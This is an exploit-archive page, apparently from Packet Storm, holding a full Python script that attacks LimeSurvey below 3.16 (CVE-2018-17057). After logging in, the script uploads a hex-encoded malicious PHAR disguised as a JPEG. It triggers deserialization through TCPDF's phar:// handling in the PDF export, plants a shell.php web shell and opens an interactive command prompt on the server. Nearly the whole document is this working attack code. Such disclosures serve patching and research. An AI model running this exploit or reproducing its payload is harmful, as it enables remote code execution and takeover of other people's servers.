Lucene search

K
packetstormQ3rv0PACKETSTORM:152360
HistoryApr 02, 2019 - 12:00 a.m.

LimeSurvey Deserialization Remote Code Execution

2019-04-0200:00:00
q3rv0
packetstormsecurity.com
33

EPSS

0.267

Percentile

96.8%

`#!/usr/bin/python  
  
# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.  
# Date: 29/03/2019  
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.  
# Exploit Author: @q3rv0  
# Google Dork:  
# Version: < 3.16  
# Tested on: LimeSurvey 3.15  
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf  
# CVE: CVE-2018-17057  
# SecSignal is: <3  
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]  
  
import requests  
import sys  
import re  
  
SESSION = requests.Session()  
  
# Malicious PHAR generated with PHPGGC.  
# ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg  
  
PHAR = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"  
"\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"  
"\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"  
"\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"  
"\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"  
"\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"  
"\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"  
"\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"  
"\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"  
"\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"  
"\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"  
"\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"  
"\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"  
"\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"  
"\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"  
"\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"  
"\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"  
"\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"  
"\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"  
"\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"  
"\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"  
"\x42\x4d\x42")  
  
def usage():  
if len(sys.argv) != 4:  
print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"  
sys.exit(0)  
  
def get(url):  
r = SESSION.get(url, verify=False)  
return r.text  
  
def post(url, data={}, files=None, headers=None):  
r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)  
return r.text  
  
def getYIICSRFToken(url):  
res = get(url)  
token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)  
return token[0]   
  
def getKCSRFToken(url):  
res = get(url)  
token = re.findall(r'csrftoken = "(.*)";', res)  
return token[0]  
  
def login(url, username, password):  
token = getYIICSRFToken(url)  
data = {"YII_CSRF_TOKEN" : token,  
"authMethod" : "Authdb",   
"user" : username,  
"password" : password,  
"loginlang" : "default",  
"action" : "login",  
"width" : "1366",  
"login_submit" : "login"  
}  
res = post(url, data)  
if len(re.findall("loginform", res)) == 0:  
return True  
else:  
return False  
  
def emailTemplates(url):  
return get(url)   
  
def createSurvey(url_newsurvey, url_insert):  
token = getYIICSRFToken(url_newsurvey)  
data = {"YII_CSRF_TOKEN" : token,  
"surveyls_title" : "Survey Example - SecSignal",  
"language" : "en",  
"createsample" : "0",  
"description" : "foo",  
"url" : "",  
"urldescrip" : "",  
"dateformat" : "1",  
"numberformat_en": "0",  
"welcome" : "bar",  
"endtext" : "asdf",  
"owner_id" : "1",  
"admin" : "Administrator",  
"adminemail" : "test%40gsecsignal.org",  
"bounce_email" : "test%40gsecsignal.org",  
"faxto" : "",  
"gsid" : "1",  
"format" : "G",  
"template" : "fruity",  
"navigationdelay": "0",  
"questionindex" : "0",  
"showgroupinfo" : "B",  
"showqnumcode" : "X",  
"shownoanswer" : "Y",  
"showxquestions" : "0",  
"showxquestions" : "1",  
"showwelcome" : "0",  
"showwelcome" : "1",  
"allowprev" : "0",  
"nokeyboard" : "0",  
"showprogress" : "0",  
"showprogress" : "1",  
"printanswers" : "0",  
"publicstatistics" : "0",  
"publicgraphs" : "0",  
"autoredirect" : "0",  
"startdate" : "",  
"expires" : "",  
"listpublic" : "0",  
"usecookie" : "0",  
"usecaptcha_surveyaccess" : "0",  
"usecaptcha_registration" : "0",  
"usecaptcha_saveandload" : "0",  
"datestamp" : "0",  
"ipaddr" : "0",  
"refurl" : "0",  
"savetimings" : "0",  
"assessments" : "0",  
"allowsave" : "0",  
"allowsave" : "1",  
"emailnotificationto" : "",  
"emailresponseto" : "",  
"googleanalyticsapikeysetting" : "N",  
"googleanalyticsstyle" : "0",  
"tokenlength" : "15",  
"anonymized" : "0",  
"tokenanswerspersistence" : "0",  
"alloweditaftercompletion" : "0",  
"allowregister" : "0",  
"htmlemail" : "0",  
"htmlemail" : "1",  
"sendconfirmation" : "0",  
"sendconfirmation" : "1",  
"saveandclose" : "1"  
}  
res = post(url_insert, data)  
surveyid = re.findall(r'surveyid\\/([0-9]+)', res)  
return surveyid[0] # Return SurveyiD  
  
def uploadPHAR(url_upload, url_csrf_token, phar):  
kcfinder_csrftoken = getKCSRFToken(url_csrf_token)  
files = {'upload[]': ('malicious.jpg', phar)}  
data = {"dir" : "files",  
"kcfinder_csrftoken" : kcfinder_csrftoken  
}  
res = post(url_upload, data, files)  
return res  
  
def pdfExport(url_pdf_export, surveyid):  
token = getYIICSRFToken(url_pdf_export + surveyid)  
data = {"save_language" : "en",  
"queXMLStyle" : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',  
"queXMLSingleResponseAreaHeight" : "9",  
"queXMLSingleResponseHorizontalHeight" : "10.5",  
"queXMLQuestionnaireInfoMargin" : "5",  
"queXMLResponseTextFontSize" : "10",  
"queXMLResponseLabelFontSize" : "7.5",  
"queXMLResponseLabelFontSizeSmall" : "6.5",  
"queXMLSectionHeight" : "18",  
"queXMLBackgroundColourSection" : "221",  
"queXMLBackgroundColourQuestion" : "241",  
"queXMLAllowSplittingSingleChoiceHorizontal" : "0",  
"queXMLAllowSplittingSingleChoiceHorizontal" : "1",  
"queXMLAllowSplittingSingleChoiceVertical" : "0",  
"queXMLAllowSplittingSingleChoiceVertical" : "1",  
"queXMLAllowSplittingMatrixText" : "0",  
"queXMLAllowSplittingMatrixText" : "1",  
"queXMLAllowSplittingVas" : "0",  
"queXMLPageOrientation" : "P",  
"queXMLPageFormat" : "A4",  
"queXMLEdgeDetectionFormat" : "lines",  
"YII_CSRF_TOKEN" : token,  
"ok" : "Y"}  
res = post(url_pdf_export + surveyid, data)  
return res   
  
def shell(url):  
r = requests.get("%s/shell.php" % url)  
if r.status_code == 200:  
print "[+] Pwned! :)"  
print "[+] Getting the shell..."  
while 1:  
try:  
input = raw_input("$ ")  
r = requests.get("%s/shell.php?c=%s" % (url, input))  
print r.text  
except KeyboardInterrupt:  
sys.exit("\nBye kaker!")  
else:  
print "[*] The site seems not to be vulnerable :("  
  
def main():  
usage()  
url = sys.argv[1] # URL  
username = sys.argv[2] # Username  
password = sys.argv[3] # Password  
url_login = "%s/index.php/admin/authentication/sa/login" % url  
  
print "[*] Logging in to LimeSurvey..."  
if login(url_login, username, password):  
  
url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url  
url_insert = "%s/index.php/admin/survey/sa/insert" % url  
  
print "[*] Creating a new Survey..."  
surveyid = createSurvey(url_newsurvey, url_insert)   
print "[+] SurveyID: %s" % surveyid  
  
email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)  
  
emailTemplates(email_templates)  
  
url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url  
url_upload = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url  
  
print "[*] Uploading a malicious PHAR..."  
uploadPHAR(url_upload, url_csrf_token, PHAR)  
  
url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url  
  
print "[*] Sending the Payload..."  
export_response = pdfExport(url_pdf_export, surveyid)  
print "[*] TCPDF Response: %s" % export_response  
  
shell(url)  
else:  
print "[-] Bad credentials :("  
  
if __name__ == "__main__":  
main()  
`